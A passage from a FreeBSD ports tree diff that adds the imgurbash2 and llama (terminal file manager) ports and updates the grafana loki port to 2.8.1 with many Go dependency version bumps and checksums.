${WRKSRC}/${PORTNAME} ${STAGEDIR}${PREFIX}/bin + @${MKDIR} ${STAGEDIR}${DOCSDIR} + ${INSTALL_DATA} ${WRKSRC}/examples.md ${STAGEDIR}${DOCSDIR} + +.include diff --git a/sysutils/imgurbash2/distinfo b/sysutils/imgurbash2/distinfo new file mode 100644 index 00000000000..c0b6b1b98b2 --- /dev/null +++ b/sysutils/imgurbash2/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1676847596 +SHA256 (ram-on-imgurbash2-3.3_GH0.tar.gz) = 7cf9d09fadcf37d47092ed07c554fa55bd21401514cbd2c59d9a88dd78a83f9f +SIZE (ram-on-imgurbash2-3.3_GH0.tar.gz) = 10116 diff --git a/sysutils/imgurbash2/pkg-descr b/sysutils/imgurbash2/pkg-descr new file mode 100644 index 00000000000..d858539415b --- /dev/null +++ b/sysutils/imgurbash2/pkg-descr @@ -0,0 +1,12 @@ +imgurbash2 is a simple bash script that allows you to upload images +and videos to imgur. Once an image/video is uploaded, the link is +displayed on the terminal and copied to your clipboard. + +Features: + +* Upload remote HTTP/HTTPS images and videos to imgur. +* Upload multiple images and videos at one go. +* Upload images/videos to your album and to your account. +* Delete previously uploaded images/videos. +* Automatically images/videos deletion. +* Copy uploaded images/videos' URLs to clipboard. diff --git a/sysutils/llama/Makefile b/sysutils/llama/Makefile new file mode 100644 index 00000000000..0a71fdda9a2 --- /dev/null +++ b/sysutils/llama/Makefile @@ -0,0 +1,38 @@ +PORTNAME= llama +DISTVERSIONPREFIX= v +DISTVERSION= 1.4.0 +CATEGORIES= sysutils + +MAINTAINER= DtxdF@disroot.org +COMMENT= Terminal file manager +WWW= https://github.com/antonmedv/llama/ + +LICENSE= MIT +LICENSE_FILE= ${WRKSRC}/LICENSE + +USES= go:modules +USE_GITHUB= yes +GH_ACCOUNT= antonmedv + +GH_TUPLE= aymanbagabas:go-osc52:v1.0.3:aymanbagabas_go_osc52/vendor/github.com/aymanbagabas/go-osc52 \ + charmbracelet:bubbles:v0.14.0:charmbracelet_bubbles/vendor/github.com/charmbracelet/bubbles \ + charmbracelet:bubbletea:v0.23.0:charmbracelet_bubbletea/vendor/github.com/charmbracelet/bubbletea \ + charmbracelet:lipgloss:v0.6.0:charmbracelet_lipgloss/vendor/github.com/charmbracelet/lipgloss \ + containerd:console:v1.0.3:containerd_console/vendor/github.com/containerd/console \ + golang:sys:fbc7d0a398ab:golang_sys/vendor/golang.org/x/sys \ + golang:term:03fcf44c2211:golang_term/vendor/golang.org/x/term \ + golang:text:v0.3.7:golang_text/vendor/golang.org/x/text \ + lucasb-eyer:go-colorful:v1.2.0:lucasb_eyer_go_colorful/vendor/github.com/lucasb-eyer/go-colorful \ + mattn:go-isatty:v0.0.16:mattn_go_isatty/vendor/github.com/mattn/go-isatty \ + mattn:go-localereader:v0.0.1:mattn_go_localereader/vendor/github.com/mattn/go-localereader \ + mattn:go-runewidth:v0.0.14:mattn_go_runewidth/vendor/github.com/mattn/go-runewidth \ + muesli:ansi:2e021307bc4b:muesli_ansi/vendor/github.com/muesli/ansi \ + muesli:cancelreader:v0.2.2:muesli_cancelreader/vendor/github.com/muesli/cancelreader \ + muesli:reflow:v0.3.0:muesli_reflow/vendor/github.com/muesli/reflow \ + muesli:termenv:v0.13.0:muesli_termenv/vendor/github.com/muesli/termenv \ + rivo:uniseg:v0.2.0:rivo_uniseg/vendor/github.com/rivo/uniseg \ + sahilm:fuzzy:v0.1.0:sahilm_fuzzy/vendor/github.com/sahilm/fuzzy + +PLIST_FILES= bin/llama + +.include diff --git a/sysutils/llama/distinfo b/sysutils/llama/distinfo new file mode 100644 index 00000000000..4056053bcc0 --- /dev/null +++ b/sysutils/llama/distinfo @@ -0,0 +1,39 @@ +TIMESTAMP = 1678025730 +SHA256 (antonmedv-llama-v1.4.0_GH0.tar.gz) = 301f5dff2b8f27595a08a12626125d28313b5a92e97ccdaf4d0cb89111ebab9a +SIZE (antonmedv-llama-v1.4.0_GH0.tar.gz) = 1173937 +SHA256 (aymanbagabas-go-osc52-v1.0.3_GH0.tar.gz) = 24664d2a5a4b3915da6e384457351d41116cced82e4276e8931d5d1492694575 +SIZE (aymanbagabas-go-osc52-v1.0.3_GH0.tar.gz) = 3126 +SHA256 (charmbracelet-bubbles-v0.14.0_GH0.tar.gz) = 79f0c097305d82457d9cdf4be86c51233d42a6b43e15bf728d3034b1a0746de8 +SIZE (charmbracelet-bubbles-v0.14.0_GH0.tar.gz) = 53225 +SHA256 (charmbracelet-bubbletea-v0.23.0_GH0.tar.gz) = bef85432711600f737bb972ae3f7fb5ab0448887a86de5cebeedcfe9f717c398 +SIZE (charmbracelet-bubbletea-v0.23.0_GH0.tar.gz) = 2161462 +SHA256 (charmbracelet-lipgloss-v0.6.0_GH0.tar.gz) = 8b6327ec37cda2fc19b48cabef1f2a26df65a690b7eb96a85a8e470c4d20da4a +SIZE (charmbracelet-lipgloss-v0.6.0_GH0.tar.gz) = 28773 +SHA256 (containerd-console-v1.0.3_GH0.tar.gz) = 61bc166fd91d4639870a2395ce7a89cb4585d343c521fcd397bef66324772f91 +SIZE (containerd-console-v1.0.3_GH0.tar.gz) = 13712 +SHA256 (golang-sys-fbc7d0a398ab_GH0.tar.gz) = 77a2c6cc6a3edb3daa808ddd2a2b62b11d051f92e7c0f526162217e07bbaad46 +SIZE (golang-sys-fbc7d0a398ab_GH0.tar.gz) = 1354045 +SHA256 (golang-term-03fcf44c2211_GH0.tar.gz) = 1919967c8fbf15de9261a2315d90072357524ee557d7df106b426def02a8e5f3 +SIZE (golang-term-03fcf44c2211_GH0.tar.gz) = 14972 +SHA256 (golang-text-v0.3.7_GH0.tar.gz) = 7cab2f6c3133ac1d422edd952b0dd2082fa55a73c2663fb2defd9bf83d649b26 +SIZE (golang-text-v0.3.7_GH0.tar.gz) = 8354718 +SHA256 (lucasb-eyer-go-colorful-v1.2.0_GH0.tar.gz) = b3ee835cc398287452377266313edcc231043bae4168f8d2706e5d34ce1ce755 +SIZE (lucasb-eyer-go-colorful-v1.2.0_GH0.tar.gz) = 970830 +SHA256 (mattn-go-isatty-v0.0.16_GH0.tar.gz) = b5c84cc0881a3d67a4b32709a20601a2c8491b17ae0c98aefb138b5424f8eca4 +SIZE (mattn-go-isatty-v0.0.16_GH0.tar.gz) = 4690 +SHA256 (mattn-go-localereader-v0.0.1_GH0.tar.gz) = 03bd5a512b593c793cccd3a1f507e3a5ba6f92681b1fa4f812a53eddbc3751dc +SIZE (mattn-go-localereader-v0.0.1_GH0.tar.gz) = 1735 +SHA256 (mattn-go-runewidth-v0.0.14_GH0.tar.gz) = 0e6a49d6a8f694154af2746a820d4c5f13fe3d9b0968bdf16fcf939dd461e034 +SIZE (mattn-go-runewidth-v0.0.14_GH0.tar.gz) = 18274 +SHA256 (muesli-ansi-2e021307bc4b_GH0.tar.gz) = 9b4b1adb94684fd8fd02cc74df118b79540af26a6895d241d6cd35dcf40b2952 +SIZE (muesli-ansi-2e021307bc4b_GH0.tar.gz) = 4762 +SHA256 (muesli-cancelreader-v0.2.2_GH0.tar.gz) = afd827ad56d7c567389a516ca005ea80d46ed1cbc17c5ec3ca144152f1ecfc5a +SIZE (muesli-cancelreader-v0.2.2_GH0.tar.gz) = 9443 +SHA256 (muesli-reflow-v0.3.0_GH0.tar.gz) = f797b8c25d447e314ad92b155433562446c683924171be1698ad44f24c79f651 +SIZE (muesli-reflow-v0.3.0_GH0.tar.gz) = 21245 +SHA256 (muesli-termenv-v0.13.0_GH0.tar.gz) = e9feebc7602674bef99b1099106e72264ea87226613103da9d536cd8fb9293f2 +SIZE (muesli-termenv-v0.13.0_GH0.tar.gz) = 420266 +SHA256 (rivo-uniseg-v0.2.0_GH0.tar.gz) = 3ad738b5c9162ede110d75b23564b6e40e52dd9150ebbced402f4f70be106197 +SIZE (rivo-uniseg-v0.2.0_GH0.tar.gz) = 44036 +SHA256 (sahilm-fuzzy-v0.1.0_GH0.tar.gz) = c3746896798d2cee59991f452f1d634f95eb79332bf6e8417a68caf6692ec2ce +SIZE (sahilm-fuzzy-v0.1.0_GH0.tar.gz) = 3353310 diff --git a/sysutils/llama/pkg-descr b/sysutils/llama/pkg-descr new file mode 100644 index 00000000000..5793ac6b0c8 --- /dev/null +++ b/sysutils/llama/pkg-descr @@ -0,0 +1,4 @@ +llama is a simple and minimalistic file manager. It's a fast way to +navigate the filesystem, and a cd and ls replacement. It allows for +quick navigation with fuzzy searching and the cd-integration with +the shell is a one-liner. diff --git a/sysutils/loki/Makefile b/sysutils/loki/Makefile index 6e384958861..b347eeed05e 100644 --- a/sysutils/loki/Makefile +++ b/sysutils/loki/Makefile @@ -1,7 +1,6 @@ PORTNAME= loki DISTVERSIONPREFIX= v -DISTVERSION= 2.7.4 -PORTREVISION= 2 +DISTVERSION= 2.8.1 CATEGORIES= sysutils PKGNAMEPREFIX= grafana- @@ -12,9 +11,7 @@ WWW= https://github.com/grafana/loki LICENSE= AGPLv3 LICENSE_FILE= ${WRKSRC}/LICENSE -# Please keep this port always pinned to a specific version of Go, -# it fails at runtime if built with version that it does not support. -USES= go:1.20,modules cpe +USES= go:modules cpe CPE_VENDOR= grafana USE_GITHUB= yes @@ -22,30 +19,36 @@ GH_ACCOUNT= grafana GH_PROJECT= loki GH_TUPLE= \ Azure:azure-pipeline-go:v0.2.3:azure_azure_pipeline_go/vendor/github.com/Azure/azure-pipeline-go \ + Azure:azure-sdk-for-go:2f352faf4f49:azure_azure_sdk_for_go_azblob \ + Azure:azure-sdk-for-go:76834b7386c1:azure_azure_sdk_for_go_azidentity \ + Azure:azure-sdk-for-go:96096feee7ba:azure_azure_sdk_for_go_azcore \ + Azure:azure-sdk-for-go:e3202264a0d4:azure_azure_sdk_for_go_internal \ Azure:azure-sdk-for-go:v36.2.0:azure_azure_sdk_for_go/vendor/github.com/Azure/azure-sdk-for-go \ Azure:go-ansiterm:d185dfc1b5a1:azure_go_ansiterm/vendor/github.com/Azure/go-ansiterm \ Azure:go-autorest:446f41b7d65b:azure_go_autorest_validation \ Azure:go-autorest:70a178d6ca59:azure_go_autorest_cli \ - Azure:go-autorest:711dde1b1be6:azure_go_autorest_adal \ - Azure:go-autorest:8c1b671de0dd:azure_go_autorest_auth \ + Azure:go-autorest:79575dd7ba2e:azure_go_autorest_adal \ + Azure:go-autorest:9038e4a609b1:azure_go_autorest_auth \ Azure:go-autorest:autorest/v0.11.28:azure_go_autorest_autorest \ Azure:go-autorest:b3a0b30a7423:azure_go_autorest_date \ Azure:go-autorest:logger/v0.2.1:azure_go_autorest_logger \ Azure:go-autorest:tracing/v0.6.0:azure_go_autorest_tracing \ Azure:go-autorest:v14.2.0:azure_go_autorest/vendor/github.com/Azure/go-autorest \ + AzureAD:microsoft-authentication-library-for-go:v0.7.0:azuread_microsoft_authentication_library_for_go/vendor/github.com/AzureAD/microsoft-authentication-library-for-go \ MasslessParticle:azure-storage-blob-go:b5e698eff68e:masslessparticle_azure_storage_blob_go/vendor/github.com/Azure/azure-storage-blob-go \ Masterminds:goutils:v1.1.1:masterminds_goutils/vendor/github.com/Masterminds/goutils \ - Masterminds:semver:v3.1.1:masterminds_semver_v3/vendor/github.com/Masterminds/semver/v3 \ - Masterminds:sprig:v3.2.2:masterminds_sprig_v3/vendor/github.com/Masterminds/sprig/v3 \ + Masterminds:semver:v3.2.0:masterminds_semver_v3/vendor/github.com/Masterminds/semver/v3 \ + Masterminds:sprig:v3.2.3:masterminds_sprig_v3/vendor/github.com/Masterminds/sprig/v3 \ Microsoft:go-winio:v0.5.1:microsoft_go_winio/vendor/github.com/Microsoft/go-winio \ NYTimes:gziphandler:v1.1.1:nytimes_gziphandler/vendor/github.com/NYTimes/gziphandler \ - Shopify:sarama:v1.30.0:shopify_sarama/vendor/github.com/Shopify/sarama \ + Shopify:sarama:v1.38.1:shopify_sarama/vendor/github.com/Shopify/sarama \ Workiva:go-datastructures:v1.0.53:workiva_go_datastructures/vendor/github.com/Workiva/go-datastructures \ alecthomas:kingpin:v2.2.6:alecthomas_kingpin/vendor/gopkg.in/alecthomas/kingpin.v2 \ alecthomas:template:fb15b899a751:alecthomas_template/vendor/github.com/alecthomas/template \ alecthomas:units:b94a6e3cc137:alecthomas_units/vendor/github.com/alecthomas/units \ alicebob:gopher-json:a9ecdc9d1d3a:alicebob_gopher_json/vendor/github.com/alicebob/gopher-json \ - alicebob:miniredis:v2.22.0:alicebob_miniredis_v2/vendor/github.com/alicebob/miniredis/v2 \ + alicebob:miniredis:v2.30.0:alicebob_miniredis_v2/vendor/github.com/alicebob/miniredis/v2 \ + aliyun:aliyun-oss-go-sdk:v2.2.2:aliyun_aliyun_oss_go_sdk/vendor/github.com/aliyun/aliyun-oss-go-sdk \ armon:go-metrics:v0.4.0:armon_go_metrics/vendor/github.com/armon/go-metrics \ asaskevich:govalidator:f21760c49a8d:asaskevich_govalidator/vendor/github.com/asaskevich/govalidator \ aws:aws-sdk-go-v2:v1.11.0:aws_aws_sdk_go_v2_credentials \ @@ -53,149 +56,157 @@ GH_TUPLE= \ aws:aws-sdk-go-v2:v1.16.0:aws_aws_sdk_go_v2 \ aws:aws-sdk-go-v2:v1.16.1:aws_aws_sdk_go_v2_sts \ aws:aws-sdk-go-v2:v1.9.1:aws_aws_sdk_go_v2_presigned_url/vendor/github.com/aws/aws-sdk-go-v2 \ - aws:aws-sdk-go:v1.44.102:aws_aws_sdk_go/vendor/github.com/aws/aws-sdk-go \ + aws:aws-sdk-go:v1.44.187:aws_aws_sdk_go/vendor/github.com/aws/aws-sdk-go \ aws:smithy-go:v1.11.1:aws_smithy_go/vendor/github.com/aws/smithy-go \ - baidubce:bce-sdk-go:v0.9.111:baidubce_bce_sdk_go/vendor/github.com/baidubce/bce-sdk-go \ + baidubce:bce-sdk-go:v0.9.141:baidubce_bce_sdk_go/vendor/github.com/baidubce/bce-sdk-go \ beorn7:perks:v1.0.1:beorn7_perks/vendor/github.com/beorn7/perks \ - bmatcuk:doublestar:v1.2.2:bmatcuk_doublestar/vendor/github.com/bmatcuk/doublestar \ + bmatcuk:doublestar:v1.3.4:bmatcuk_doublestar/vendor/github.com/bmatcuk/doublestar \ buger:jsonparser:v1.1.1:buger_jsonparser/vendor/github.com/buger/jsonparser \ c2h5oh:datasize:28bbd4740fee:c2h5oh_datasize/vendor/github.com/c2h5oh/datasize \ - census-instrumentation:opencensus-go:v0.23.0:census_instrumentation_opencensus_go/vendor/go.opencensus.io \ + census-instrumentation:opencensus-go:v0.24.0:census_instrumentation_opencensus_go/vendor/go.opencensus.io \ + census-instrumentation:opencensus-proto:v0.3.0:census_instrumentation_opencensus_proto/vendor/github.com/census-instrumentation/opencensus-proto \ cespare:xxhash:v1.1.0:cespare_xxhash/vendor/github.com/cespare/xxhash \ - cespare:xxhash:v2.1.2:cespare_xxhash_v2/vendor/github.com/cespare/xxhash/v2 \ + cespare:xxhash:v2.2.0:cespare_xxhash_v2/vendor/github.com/cespare/xxhash/v2 \ + cncf:udpa:04548b0d99d4:cncf_udpa_go/vendor/github.com/cncf/udpa \ + cncf:xds:7f1daf1720fc:cncf_xds_go/vendor/github.com/cncf/xds \ containerd:fifo:v1.0.0:containerd_fifo/vendor/github.com/containerd/fifo \ coreos:go-semver:v0.3.0:coreos_go_semver/vendor/github.com/coreos/go-semver \ coreos:go-systemd:d3cd4ed1dbcf:coreos_go_systemd/vendor/github.com/coreos/go-systemd \ - coreos:go-systemd:v22.3.2:coreos_go_systemd_v22/vendor/github.com/coreos/go-systemd/v22 \ - cristalhq:hedgedhttp:v0.7.0:cristalhq_hedgedhttp/vendor/github.com/cristalhq/hedgedhttp \ - cyriltovena:cloudflare-go:ff77400bcb93:cyriltovena_cloudflare_go/vendor/github.com/cloudflare/cloudflare-go \ - dannykopping:go-kit-log:5591c1641b6b:dannykopping_go_kit_log/vendor/github.com/go-kit/log \ + coreos:go-systemd:v22.4.0:coreos_go_systemd_v22/vendor/github.com/coreos/go-systemd/v22 \ + cristalhq:hedgedhttp:v0.7.2:cristalhq_hedgedhttp/vendor/github.com/cristalhq/hedgedhttp \ davecgh:go-spew:v1.1.1:davecgh_go_spew/vendor/github.com/davecgh/go-spew \ dennwc:varint:v1.0.0:dennwc_varint/vendor/github.com/dennwc/varint \ dgryski:go-rendezvous:9f7001d12a5f:dgryski_go_rendezvous/vendor/github.com/dgryski/go-rendezvous \ - digitalocean:godo:v1.84.1:digitalocean_godo/vendor/github.com/digitalocean/godo \ + digitalocean:godo:v1.95.0:digitalocean_godo/vendor/github.com/digitalocean/godo \ dimchansky:utfbom:v1.1.1:dimchansky_utfbom/vendor/github.com/dimchansky/utfbom \ - docker:distribution:v2.7.1:docker_distribution/vendor/github.com/docker/distribution \ + docker:distribution:v2.8.1:docker_distribution/vendor/github.com/docker/distribution \ docker:go-connections:v0.4.0:docker_go_connections/vendor/github.com/docker/go-connections \ docker:go-metrics:v0.0.1:docker_go_metrics/vendor/github.com/docker/go-metrics \ docker:go-plugins-helpers:1e6269c305b8:docker_go_plugins_helpers/vendor/github.com/docker/go-plugins-helpers \ - docker:go-units:v0.4.0:docker_go_units/vendor/github.com/docker/go-units \ - drone:envsubst:v1.0.2:drone_envsubst/vendor/github.com/drone/envsubst \ + docker:go-units:v0.5.0:docker_go_units/vendor/github.com/docker/go-units \ + drone:envsubst:v1.0.3:drone_envsubst/vendor/github.com/drone/envsubst \ dustin:go-humanize:v1.0.0:dustin_go_humanize/vendor/github.com/dustin/go-humanize \ - eapache:go-resiliency:v1.2.0:eapache_go_resiliency/vendor/github.com/eapache/go-resiliency \ - eapache:go-xerial-snappy:776d5712da21:eapache_go_xerial_snappy/vendor/github.com/eapache/go-xerial-snappy \ + eapache:go-resiliency:v1.3.0:eapache_go_resiliency/vendor/github.com/eapache/go-resiliency \ + eapache:go-xerial-snappy:bf00bc1b83b6:eapache_go_xerial_snappy/vendor/github.com/eapache/go-xerial-snappy \ eapache:queue:v1.1.0:eapache_queue/vendor/github.com/eapache/queue \ edsrzf:mmap-go:v1.1.0:edsrzf_mmap_go/vendor/github.com/edsrzf/mmap-go \ - efficientgo:tools:fe763185946b:efficientgo_tools_core/vendor/github.com/efficientgo/tools \ + efficientgo:core:v1.0.0-rc.2:efficientgo_core/vendor/github.com/efficientgo/core \ + emicklei:go-restful:v3.9.0:emicklei_go_restful_v3/vendor/github.com/emicklei/go-restful/v3 \ + envoyproxy:go-control-plane:v0.10.3:envoyproxy_go_control_plane/vendor/github.com/envoyproxy/go-control-plane \ + envoyproxy:protoc-gen-validate:v0.9.1:envoyproxy_protoc_gen_validate/vendor/github.com/envoyproxy/protoc-gen-validate \ etcd-io:bbolt:v1.3.6:etcd_io_bbolt/vendor/go.etcd.io/bbolt \ etcd-io:etcd:v3.5.4:etcd_io_etcd/vendor/go.etcd.io/etcd/api/v3 \ etcd-io:etcd:v3.5.4:etcd_io_etcd_1/vendor/go.etcd.io/etcd/client/pkg/v3 \ etcd-io:etcd:v3.5.4:etcd_io_etcd_2/vendor/go.etcd.io/etcd/client/v3 \ facette:natsort:2cd4dd1e2dcb:facette_natsort/vendor/github.com/facette/natsort \ - fatih:color:v1.13.0:fatih_color/vendor/github.com/fatih/color \ - felixge:fgprof:v0.9.2:felixge_fgprof/vendor/github.com/felixge/fgprof \ + fatih:color:v1.14.1:fatih_color/vendor/github.com/fatih/color \ + felixge:fgprof:v0.9.3:felixge_fgprof/vendor/github.com/felixge/fgprof \ felixge:httpsnoop:v1.0.3:felixge_httpsnoop/vendor/github.com/felixge/httpsnoop \ fluent:fluent-bit-go:ea13c021720c:fluent_fluent_bit_go/vendor/github.com/fluent/fluent-bit-go \ - fsnotify:fsnotify:v1.4.7:fsnotify_fsnotify_1/vendor/gopkg.in/fsnotify.v1 \ - fsnotify:fsnotify:v1.5.4:fsnotify_fsnotify/vendor/github.com/fsnotify/fsnotify \ + fsnotify:fsnotify:v1.4.7:fsnotify_fsnotify_1/vendor/gopkg.in/fsnotify/fsnotify.v1 \ + fsnotify:fsnotify:v1.6.0:fsnotify_fsnotify/vendor/github.com/fsnotify/fsnotify \ fsouza:fake-gcs-server:v1.7.0:fsouza_fake_gcs_server/vendor/github.com/fsouza/fake-gcs-server \ go-inf:inf:v0.9.1:go_inf_inf/vendor/gopkg.in/inf.v0 \ go-ini:ini:v1.66.6:go_ini_ini/vendor/gopkg.in/ini.v1 \ go-kit:kit:v0.12.0:go_kit_kit/vendor/github.com/go-kit/kit \ - go-logfmt:logfmt:v0.5.1:go_logfmt_logfmt/vendor/github.com/go-logfmt/logfmt \ + go-kit:log:v0.2.1:go_kit_log/vendor/github.com/go-kit/log \ + go-logfmt:logfmt:v0.6.0:go_logfmt_logfmt/vendor/github.com/go-logfmt/logfmt \ go-logr:logr:v1.2.3:go_logr_logr/vendor/github.com/go-logr/logr \ go-logr:stdr:v1.2.2:go_logr_stdr/vendor/github.com/go-logr/stdr \ - go-openapi:analysis:v0.21.2:go_openapi_analysis/vendor/github.com/go-openapi/analysis \ - go-openapi:errors:v0.20.2:go_openapi_errors/vendor/github.com/go-openapi/errors \ + go-openapi:analysis:v0.21.4:go_openapi_analysis/vendor/github.com/go-openapi/analysis \ + go-openapi:errors:v0.20.3:go_openapi_errors/vendor/github.com/go-openapi/errors \ go-openapi:jsonpointer:v0.19.5:go_openapi_jsonpointer/vendor/github.com/go-openapi/jsonpointer \ go-openapi:jsonreference:v0.20.0:go_openapi_jsonreference/vendor/github.com/go-openapi/jsonreference \ - go-openapi:loads:v0.21.1:go_openapi_loads/vendor/github.com/go-openapi/loads \ - go-openapi:spec:v0.20.5:go_openapi_spec/vendor/github.com/go-openapi/spec \ + go-openapi:loads:v0.21.2:go_openapi_loads/vendor/github.com/go-openapi/loads \ + go-openapi:spec:v0.20.7:go_openapi_spec/vendor/github.com/go-openapi/spec \ go-openapi:strfmt:v0.21.3:go_openapi_strfmt/vendor/github.com/go-openapi/strfmt \ - go-openapi:swag:v0.21.1:go_openapi_swag/vendor/github.com/go-openapi/swag \ - go-openapi:validate:v0.21.0:go_openapi_validate/vendor/github.com/go-openapi/validate \ + go-openapi:swag:v0.22.3:go_openapi_swag/vendor/github.com/go-openapi/swag \ + go-openapi:validate:v0.22.0:go_openapi_validate/vendor/github.com/go-openapi/validate \ go-redis:redis:v8.11.5:go_redis_redis_v8/vendor/github.com/go-redis/redis/v8 \ go-tomb:tomb:dd632973f1e7:go_tomb_tomb/vendor/gopkg.in/tomb.v1 \ go-yaml:yaml:v2.4.0:go_yaml_yaml/vendor/gopkg.in/yaml.v2 \ go-yaml:yaml:v3.0.1:go_yaml_yaml_1/vendor/gopkg.in/yaml.v3 \ go-zookeeper:zk:v1.0.3:go_zookeeper_zk/vendor/github.com/go-zookeeper/zk \ - go4org:intern:ae77deb06f29:go4org_go4/vendor/go4.org/intern \ - go4org:unsafe-assume-no-moving-gc:e4bae7ad2296:go4org_go4_1/vendor/go4.org/unsafe/assume-no-moving-gc \ - gofrs:flock:v0.7.1:gofrs_flock/vendor/github.com/gofrs/flock \ + go4org:netipx:8449b0a6169f:go4org_go4/vendor/go4.org/netipx \ + gofrs:flock:v0.8.1:gofrs_flock/vendor/github.com/gofrs/flock \ gogo:googleapis:v1.4.0:gogo_googleapis/vendor/github.com/gogo/googleapis \ gogo:protobuf:v1.3.2:gogo_protobuf/vendor/github.com/gogo/protobuf \ gogo:status:v1.1.1:gogo_status/vendor/github.com/gogo/status \ - golang-jwt:jwt:v4.4.1:golang_jwt_jwt_v4/vendor/github.com/golang-jwt/jwt/v4 \ + golang-jwt:jwt:v4.4.3:golang_jwt_jwt_v4/vendor/github.com/golang-jwt/jwt/v4 \ golang:appengine:v1.6.7:golang_appengine/vendor/google.golang.org/appengine \ - golang:crypto:630584e8d5aa:golang_crypto/vendor/golang.org/x/crypto \ + golang:crypto:v0.5.0:golang_crypto/vendor/golang.org/x/crypto \ + golang:exp:d38c7dcee874:golang_exp/vendor/golang.org/x/exp \ golang:groupcache:41bb18bfe9da:golang_groupcache/vendor/github.com/golang/groupcache \ - golang:mod:86c51ed26bb4:golang_mod/vendor/golang.org/x/mod \ - golang:net:d0c6ba3f52d9:golang_net/vendor/golang.org/x/net \ - golang:oauth2:f21342109be1:golang_oauth2/vendor/golang.org/x/oauth2 \ + golang:mod:v0.7.0:golang_mod/vendor/golang.org/x/mod \ + golang:net:v0.7.0:golang_net/vendor/golang.org/x/net \ + golang:oauth2:v0.4.0:golang_oauth2/vendor/golang.org/x/oauth2 \ golang:protobuf:v1.5.2:golang_protobuf/vendor/github.com/golang/protobuf \ golang:snappy:v0.0.4:golang_snappy/vendor/github.com/golang/snappy \ - golang:sync:f12130a52804:golang_sync/vendor/golang.org/x/sync \ - golang:sys:fb04ddd9f9c8:golang_sys/vendor/golang.org/x/sys \ - golang:term:03fcf44c2211:golang_term/vendor/golang.org/x/term \ - golang:text:v0.3.7:golang_text/vendor/golang.org/x/text \ - golang:time:2ce7c2934d45:golang_time/vendor/golang.org/x/time \ - golang:tools:v0.1.12:golang_tools/vendor/golang.org/x/tools \ + golang:sync:v0.1.0:golang_sync/vendor/golang.org/x/sync \ + golang:sys:v0.5.0:golang_sys/vendor/golang.org/x/sys \ + golang:term:v0.5.0:golang_term/vendor/golang.org/x/term \ + golang:text:v0.7.0:golang_text/vendor/golang.org/x/text \ + golang:time:v0.3.0:golang_time/vendor/golang.org/x/time \ + golang:tools:v0.5.0:golang_tools/vendor/golang.org/x/tools \ golang:xerrors:04be3eba64a2:golang_xerrors/vendor/golang.org/x/xerrors \ - google:btree:v1.0.1:google_btree/vendor/github.com/google/btree \ - google:go-cmp:v0.5.8:google_go_cmp/vendor/github.com/google/go-cmp \ - google:go-genproto:2b89144ce006:google_go_genproto/vendor/google.golang.org/genproto \ + google:btree:v1.1.2:google_btree/vendor/github.com/google/btree \ + google:gnostic:v0.5.7-v3refs:google_gnostic/vendor/github.com/google/gnostic \ + google:go-cmp:v0.5.9:google_go_cmp/vendor/github.com/google/go-cmp \ + google:go-genproto:31e0e69b6fc2:google_go_genproto/vendor/google.golang.org/genproto \ google:go-querystring:v1.1.0:google_go_querystring/vendor/github.com/google/go-querystring \ google:gofuzz:v1.2.0:google_gofuzz/vendor/github.com/google/gofuzz \ - google:pprof:70bd9ae97f40:google_pprof/vendor/github.com/google/pprof \ + google:pprof:76d1ae5aea2b:google_pprof/vendor/github.com/google/pprof \ google:renameio:v2.0.0:google_renameio_v2/vendor/github.com/google/renameio/v2 \ google:uuid:v1.3.0:google_uuid/vendor/github.com/google/uuid \ - googleapis:enterprise-certificate-proxy:v0.1.0:googleapis_enterprise_certificate_proxy/vendor/github.com/googleapis/enterprise-certificate-proxy \ - googleapis:gax-go:v2.5.1:googleapis_gax_go_v2/vendor/github.com/googleapis/gax-go \ - googleapis:gnostic:v0.5.5:googleapis_gnostic/vendor/github.com/googleapis/gnostic \ - googleapis:go-type-adapters:v1.0.0:googleapis_go_type_adapters/vendor/github.com/googleapis/go-type-adapters \ - googleapis:google-api-go-client:v0.96.0:googleapis_google_api_go_client/vendor/google.golang.org/api \ - googleapis:google-cloud-go:bigtable/v1.3.0:googleapis_google_cloud_go_bigtable \ - googleapis:google-cloud-go:compute/v1.7.0:googleapis_google_cloud_go_compute \ - googleapis:google-cloud-go:pubsub/v1.25.0:googleapis_google_cloud_go_pubsub \ - googleapis:google-cloud-go:storage/v1.23.0:googleapis_google_cloud_go_storage \ - googleapis:google-cloud-go:v0.104.0:googleapis_google_cloud_go \ - googleapis:google-cloud-go:v0.3.0:googleapis_google_cloud_go_iam/vendor/cloud.google.com/go \ - gophercloud:gophercloud:v1.0.0:gophercloud_gophercloud/vendor/github.com/gophercloud/gophercloud \ + googleapis:enterprise-certificate-proxy:v0.2.1:googleapis_enterprise_certificate_proxy/vendor/github.com/googleapis/enterprise-certificate-proxy \ + googleapis:gax-go:v2.7.0:googleapis_gax_go_v2/vendor/github.com/googleapis/gax-go \ + googleapis:google-api-go-client:v0.109.0:googleapis_google_api_go_client/vendor/google.golang.org/api \ + googleapis:google-cloud-go:bigtable/v1.18.1:googleapis_google_cloud_go_bigtable \ + googleapis:google-cloud-go:compute/v1.14.0:googleapis_google_cloud_go_compute \ + googleapis:google-cloud-go:pubsub/v1.28.0:googleapis_google_cloud_go_pubsub \ + googleapis:google-cloud-go:storage/v1.29.0:googleapis_google_cloud_go_storage \ + googleapis:google-cloud-go:v0.107.0:googleapis_google_cloud_go \ + googleapis:google-cloud-go:compute/metadata/v0.2.3:googleapis_google_cloud_go_1/vendor/cloud.google.com/go/compute/metadata \ + googleapis:google-cloud-go:v0.3.0:googleapis_google_cloud_go_longrunning/vendor/cloud.google.com/go/longrunning \ + googleapis:google-cloud-go:v0.8.0:googleapis_google_cloud_go_iam/vendor/cloud.google.com/go \ + gophercloud:gophercloud:v1.1.1:gophercloud_gophercloud/vendor/github.com/gophercloud/gophercloud \ gorilla:mux:v1.8.0:gorilla_mux/vendor/github.com/gorilla/mux \ gorilla:websocket:v1.5.0:gorilla_websocket/vendor/github.com/gorilla/websocket \ - grafana:dskit:b1b307db4f30:grafana_dskit/vendor/github.com/grafana/dskit \ + grafana:cloudflare-go:c627cf6792f2:grafana_cloudflare_go/vendor/github.com/grafana/cloudflare-go \ + grafana:dskit:528d8a7d52f2:grafana_dskit/vendor/github.com/grafana/dskit \ grafana:go-gelf:v2.0.1:grafana_go_gelf_v2/vendor/github.com/grafana/go-gelf/v2 \ grafana:gocql:ba5dc39ece85:grafana_gocql/vendor/github.com/gocql/gocql \ + grafana:gomemcache:11f792309e1f:grafana_gomemcache/vendor/github.com/grafana/gomemcache \ 